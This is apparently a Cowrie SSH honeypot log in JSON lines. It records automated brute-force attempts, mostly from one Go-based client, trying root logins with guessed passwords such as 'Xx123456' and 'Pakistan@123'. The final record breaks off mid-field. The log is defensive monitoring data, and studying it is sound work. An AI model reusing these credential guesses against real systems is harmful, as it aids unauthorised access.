{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:01.338320Z","src_ip":"60.165.124.241","session":"9bf1cf6f82ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:01.913482Z","src_ip":"2.57.122.208","session":"71fe80b90161","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tszwy@4rfv","message":"login attempt [root/Tszwy@4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:02.057912Z","src_ip":"60.165.124.241","session":"9bf1cf6f82ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:03.227205Z","src_ip":"2.57.122.208","session":"71fe80b90161","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:03.299675Z","src_ip":"60.165.124.241","session":"9bf1cf6f82ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56654,"dst_ip":"10.17.0.5","dst_port":22,"session":"8708f8a54816","protocol":"ssh","message":"New connection: 60.165.124.241:56654 (10.17.0.5:22) [session: 8708f8a54816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:03.532815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:03.537254Z","src_ip":"60.165.124.241","session":"8708f8a54816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:03.778931Z","src_ip":"60.165.124.241","session":"8708f8a54816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"comtom@2019","message":"login attempt [root/comtom@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:04.495282Z","src_ip":"60.165.124.241","session":"8708f8a54816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:05.746847Z","src_ip":"60.165.124.241","session":"8708f8a54816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59436,"dst_ip":"10.17.0.5","dst_port":22,"session":"565a31341987","protocol":"ssh","message":"New connection: 60.165.124.241:59436 (10.17.0.5:22) [session: 565a31341987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:05.991708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:06.014334Z","src_ip":"60.165.124.241","session":"565a31341987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:06.265310Z","src_ip":"60.165.124.241","session":"565a31341987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xx123456","message":"login attempt [root/Xx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:06.985869Z","src_ip":"60.165.124.241","session":"565a31341987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:08.231979Z","src_ip":"60.165.124.241","session":"565a31341987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34338,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7e7b03fba7a","protocol":"ssh","message":"New connection: 60.165.124.241:34338 (10.17.0.5:22) [session: c7e7b03fba7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:08.477399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:08.482104Z","src_ip":"60.165.124.241","session":"c7e7b03fba7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:08.733509Z","src_ip":"60.165.124.241","session":"c7e7b03fba7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pakistan@123","message":"login attempt [root/Pakistan@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:09.487916Z","src_ip":"60.165.124.241","session":"c7e7b03fba7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:10.756864Z","src_ip":"60.165.124.241","session":"c7e7b03fba7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37022,"dst_ip":"10.17.0.5","dst_port":22,"session":"c928fdda9637","protocol":"ssh","message":"New connection: 60.165.124.241:37022 (10.17.0.5:22) [session: c928fdda9637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:11.024091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:11.029052Z","src_ip":"60.165.124.241","session":"c928fdda9637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:11.283379Z","src_ip":"60.165.124.241","session":"c928fdda9637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234!@#$qwerQWER","message":"login attempt [root/1234!@#$qwerQWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:12.070902Z","src_ip":"60.165.124.241","session":"c928fdda9637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:13.329978Z","src_ip":"60.165.124.241","session":"c928fdda9637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40182,"dst_ip":"10.17.0.5","dst_port":22,"session":"725ba8943abe","protocol":"ssh","message":"New connection: 60.165.124.241:40182 (10.17.0.5:22) [session: 725ba8943abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:13.547690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:13.551920Z","src_ip":"60.165.124.241","session":"725ba8943abe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:13.793483Z","src_ip":"60.165.124.241","session":"725ba8943abe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahmed123","message":"login attempt [root/ahmed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:14.520749Z","src_ip":"60.165.124.241","session":"725ba8943abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:15.761755Z","src_ip":"60.165.124.241","session":"725ba8943abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42914,"dst_ip":"10.17.0.5","dst_port":22,"session":"12813d7355f1","protocol":"ssh","message":"New connection: 60.165.124.241:42914 (10.17.0.5:22) [session: 12813d7355f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:15.995351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:16.000881Z","src_ip":"60.165.124.241","session":"12813d7355f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:16.244400Z","src_ip":"60.165.124.241","session":"12813d7355f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcABC123!@#","message":"login attempt [root/abcABC123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:16.985665Z","src_ip":"60.165.124.241","session":"12813d7355f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:18.231832Z","src_ip":"60.165.124.241","session":"12813d7355f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45870,"dst_ip":"10.17.0.5","dst_port":22,"session":"935ed0a7c02e","protocol":"ssh","message":"New connection: 60.165.124.241:45870 (10.17.0.5:22) [session: 935ed0a7c02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:18.480544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:18.485835Z","src_ip":"60.165.124.241","session":"935ed0a7c02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:18.737135Z","src_ip":"60.165.124.241","session":"935ed0a7c02e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yidong@123","message":"login attempt [root/yidong@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:19.483037Z","src_ip":"60.165.124.241","session":"935ed0a7c02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:20.725943Z","src_ip":"60.165.124.241","session":"935ed0a7c02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48922,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0cfd938dc76","protocol":"ssh","message":"New connection: 60.165.124.241:48922 (10.17.0.5:22) [session: d0cfd938dc76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:20.960554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:32:20.965693Z","src_ip":"60.165.124.241","session":"d0cfd938dc76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 